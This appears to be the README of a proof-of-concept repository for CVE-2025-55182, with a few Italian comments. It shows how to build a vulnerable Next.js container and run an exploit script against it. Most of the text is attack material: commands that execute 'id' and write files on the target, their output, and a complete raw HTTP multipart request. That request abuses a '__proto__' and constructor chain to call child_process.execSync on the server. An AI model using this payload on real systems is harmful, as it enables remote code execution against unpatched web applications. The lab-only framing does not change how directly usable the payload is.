CVE-2025-55182/
├── flake.nix          # Nix dev shell (nodejs_20, yarn, python3+requests)
├── poc.py             # Script di exploit
└── target/            # App Next.js vulnerabile
    ├── Containerfile  # Per build podman
    ├── package.json   # [email protected] / [email protected]
    ├── next.config.ts
    ├── tsconfig.json
    └── app/
        ├── layout.tsx
        └── page.tsx

nix develop

podman build -t cve-2025-55182 target/

podman run -d -p 3000:3000 --name vuln cve-2025-55182

python poc.py http://localhost:3000 "id"

[*] Target: http://localhost:3000/
[*] Command: id
[*] Sending exploit payload...
[*] Response status: 200
[+] Command output: uid=1000(node) gid=1000(node) groups=1000(node)

# Scrittura di un file
python poc.py http://localhost:3000 "touch /tmp/pwned"

# Verifica all'interno del container
podman exec -it vuln sh
# => ls /tmp/pwned
podman exec -it vuln sh -c "ls /tmp" # Anche questo è possibile

HTTPS_PROXY=http://localhost:8080 HTTP_PROXY=http://localhost:8080 python poc.py http://localhost:3000 "id"

POST / HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 580
Content-Type: multipart/form-data; boundary=19a7dba25a68483f4234c90a07a425a2

--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="0"

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync(\"touch /tmp/pwand\",{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="1"

"$@0"
--19a7dba25a68483f4234c90a07a425a2--

podman stop vuln && podman rm vuln